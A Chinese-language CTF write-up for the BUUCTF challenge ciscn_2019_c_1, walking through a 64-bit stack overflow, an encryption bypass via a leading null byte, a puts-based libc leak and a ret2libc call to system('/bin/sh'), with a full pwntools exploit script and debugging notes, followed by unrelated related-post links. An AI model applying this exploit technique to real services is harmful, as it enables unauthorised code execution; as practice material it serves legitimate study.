一道积攒了很久才解出来的题,这道题大体不难,但是好多小细节呜呜呜。而且Libcsearcher里的libc库没更新(上篇博客讲了)。

这道题是BUUCTF上的ciscn_2019_c_1。标准的64位ROP流程,我也就分享一下自己的坎坷心路历程。

代码审计

老规矩checksec一下,只开了nx保护。

观察main函数

显然哦,只有输入1才有点用。

关键函数:encrypt()

发现一个栈溢出漏洞。ROP链的入口。

然后就是读取s的长度,在长度范围内对内容进行加密:也就是根据ascii码范围不同来进行异或操作。

这个解密函数会把读入的s给加密,把你的内容替换掉。

解题思路

1.通过gets()函数构造ROP链:

64位程序里面的传参方式是前六位参数为寄存器传参,故不能直接把参数写在栈里,需要通过gadgets来实现控制寄存器的值从而控制函数参数的值。

实用工具:ROPgadgets

ROPgadget --binary 文件名

即可查看程序本身的gadget。这里只会用到第一个寄存器rdi,因此去找pop rdi的指令即可。

pop_rdi_addr = 0x400c83

然后通过 p64(pop_rdi_addr)+p64(参数值)+p64(函数地址) 即可调用函数

2.绕过加密函数,防止输入内容被篡改:

方法一:

关于绕过加密函数,网上异口同声的一种方法:

输入encrypt(s),也就是说先给要输入的内容异或一次,然后程序在给异或过的信息再异或一次。

异或的加法逆元,导致一个数与相同的另一个数异或两次,就会回到最初的值。

例如(a^b)^b=a

这种方法确实可以,不过感觉很繁琐,首先得把加密函数稍微改一下加进自己的exp里。

现在在网上基本上很难找到不同的解法了,感觉大家都流水线过一遍,也不想去思考或者也不愿意去分享自己更好的做法了。很可惜,李杜诗篇万口传,至今已觉不新鲜。

方法二:

也是偶然发现的,并没有加密,发过去代码依然成功运行并且得到了flag。

后来想了想,大概是因为64位里面的地址高位都是0,造成了\x00截断,于是strlen()函数读取的长度变得更短,没有威胁到我们payload后面关键的地址部分。

payload = b'a'*0x58+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

方法三:

根据第二种方法得到启发,直接令payload第一位为’\x00’,这样strlen()读取到的就是0,就不会进行加密。

payload = b'\x00'+b'a'*0x57+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

最终exp:

from pwn import *
from LibcSearcher import *
context.log_level='debug'
# r = remote('node4.buuoj.cn',29156)
r=process('/mnt/hgfs/ubuntu/BUUCTF/ciscn_2019_c_1')
elf = ELF('/mnt/hgfs/ubuntu/BUUCTF/ciscn_2019_c_1')
ret = 0x4006b9
pop_rdi_addr = 0x400c83
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.sym["main"]
r.sendlineafter(b"Input your choice!\n",b'1')
payload = b'\x00'+b'a'*0x57+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.recvuntil(b"encrypted\n")
r.sendline(payload)
r.recvuntil(b"Ciphertext\n")
#
r.recvuntil(b"\n")
#
puts_addr = u64(r.recvline()[:-1].ljust(8,b'\0'))
print(hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base+libc.dump("system")
bin_sh = libc_base+libc.dump("str_bin_sh")
r.sendlineafter(b"Input your choice!\n",b'1')
#
payload1 = b'\x00'+b'a'*0x57+p64(ret)+p64(pop_rdi_addr)+p64(bin_sh)+p64(system_addr)
#
r.recvuntil(b"encrypted\n")
r.sendline(payload1)
r.interactive()

遇到的问题:

1.没收到puts真实地址

出现在exp里第一个# #夹着的地方。

观察encrypt()函数应该是在ROP后先输出Ciphertext后就会返回,而返回地址已被我们劫持成puts()来打印出puts真实地址。因此我们的puts真实函数地址应该在 r.recvuntil(b"Ciphertext\n") 后就可以收到。但是我通过这样接收到的puts地址,Libcsearcher找到了几百个libc,明显说明地址错误。

后来才发现:

encrypt()函数在返回之前还调用了一次puts()函数来打印加密后的s,然后才retn。因此我们需要再接受一行,接下来收到的才是puts()的真实地址。

r.recvuntil(b"Ciphertext\n")
r.recvuntil(b"\n")
puts_addr = u64(r.recvline()[:-1].ljust(8,b'\0'))

2.依然GOT EOF

借鉴网上的wp,似乎是因为高版本ubuntu里调用system函数的时候需要满足堆栈平衡,就是说调用函数之前的字节数需要是16的倍数。之前我的payload是这样的:

payload1 = b'\x00'+b'a'*0x57+p64(pop_rdi_addr)+p64(bin_sh)+p64(system_addr)

这样的话在调用system函数之前一共有0x58+8*2=104个字节,不是16的倍数。

这种情况,就在填充字符后面加一个ret指令的地址就行,一个不行就找两个,ret的地址依然可以用ROPgadget工具找。

payload1 = b'\x00'+b'a'*0x57+p64(ret)+p64(pop_rdi_addr)+p64(bin_sh)+p64(system_addr)

3.关于我的字符串前面都带一个b

我的python版本太高啦,是python3。似乎python3有八个字节的byte,所以它每次都会报这样的错误:

BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes

查看链接网址后提示在每个字符串前面加上b即不会出现错误警告
python3有八个字节的byte,所以它每次都会报这样的错误:

BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes

查看链接网址后提示在每个字符串前面加上b即不会出现错误警告

BUUCTF ciscn_2019_c_1相关推荐

  1. Buuctf(PWN)ciscn_2019_c_1

    一个普通的小程序,给了3个选项来供我们选择; 在main函数进行分析,发现输入 1 是正确的通道; 点进去下面的encrypt() 加密函数; 在这里发现了 gets()溢出函数; 我们可以利用这个函 ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF的Web真题学习整理(一)

    目录 WEB1-WarmUp (任意文件包含漏洞) WEB2-高明的黑客(fuzz脚本) WEB3-easy_tornado (服务端模板注入(ssti攻击)) WEB4-Hack World(时间盲 ...

  4. [BUUCTF-pwn]——ciscn_2019_c_1

    [BUUCTF-pwn]--ciscn_2019_c_1 题目地址:https://buuoj.cn/challenges#ciscn_2019_c_1 题目: 下载下来checksec一下 再IDA ...

  5. BUUCTF寒假刷题-Web

    前言 寒假横向刷题(尽量) BUUCTF

  6. BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过

    BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过 题目 后台PHP源码: <?php include 'config.php'; // FLA ...

  7. BUUCTF刷题笔记

    BUUCTF刷题笔记 [极客大挑战 2019]BabySQL 从这句话我们可以看出,这个网站的后台是做了过滤处理的 这个时候我们先用万能密码实验一下看看,是什么类型的SQL注入 输入1',看看返回的结 ...

  8. BUUCTF Quoted-printable编码

    Quoted-printable可译为"可打印字符引用编码",编码常用在电子邮件中,如:Content-Transfer-Encoding: quoted-printable ,它 ...

  9. BUUCTF NewStarCTF一些新知识记录

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.eazyxor 二.RSA_begin 三.Yesec no drumsticks 四.EzSnake 五.Pyre ...

最新文章

  1. android 事件冒泡,Android事件分发
  2. VS Code报错解决:Error: end of central directory record signature not found
  3. Oracle EBS:Package被锁,执行时卡住的解决办法
  4. 链表的各种操作实现 链表逆序 链表排序 有序链表归并 链表存在环的判定
  5. FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory
  6. MATLAB观察日志(part1)--求极限
  7. python学习总结----时间模块 and 虚拟环境(了解)
  8. autocopy2u_借助AutoCopy简化Firefox中的文本复制和粘贴
  9. LeetCode 678 有效的括号字符串,常规栈思路
  10. java里包含怎么算_java中怎么判断一个字符串中包含某个字符或字符串
  11. Oracle数据库——触发器的创建与应用
  12. Clojure 学习入门(1) - 学习资料
  13. PoEdu - Windows阶段班 【Po学校】Windows编程 Lesson004_003-2 文件操作
  14. Linux 忘记密码解决方法
  15. java冻结jsp首行_收藏的 处理jsp首行 报错问题
  16. 20172304 蓝墨云实验哈夫曼树
  17. Kali Linux系统正确完整安装指南教程
  18. Flask_从入门到放弃?不!!!从入门到入土!!
  19. 药师帮正式冲刺港交所上市:业绩增长迅猛,亏损规模逐渐收窄
  20. 液晶电视怎么选才不花冤枉钱?整理液晶电视常用参数及选购技巧

热门文章

  1. 商业周刊:IBM专注Power芯片 一统天下? 【ZZ】
  2. 关于AndroidStudio声明了网络访问权限却无法访问网络的问题
  3. C++网络编程之poll
  4. openGL实现阴影映射(Shadow Mapping)
  5. 拒绝访问 chkdsk无法修复. 不知道怎样找回呢
  6. 江苏嘉轩「永磁电机」打造绿色工厂,累计减少碳排放2668万吨
  7. Emulator: emulator: ERROR: x86_64 emulation currently requires hardware acceleration!
  8. 京东前端工程化和静态资源管理全面总结
  9. 如何在MyEclipse中反编译class文件
  10. yolov5 onnxruntime c++在linux平台上GPU推理环境搭建整体流程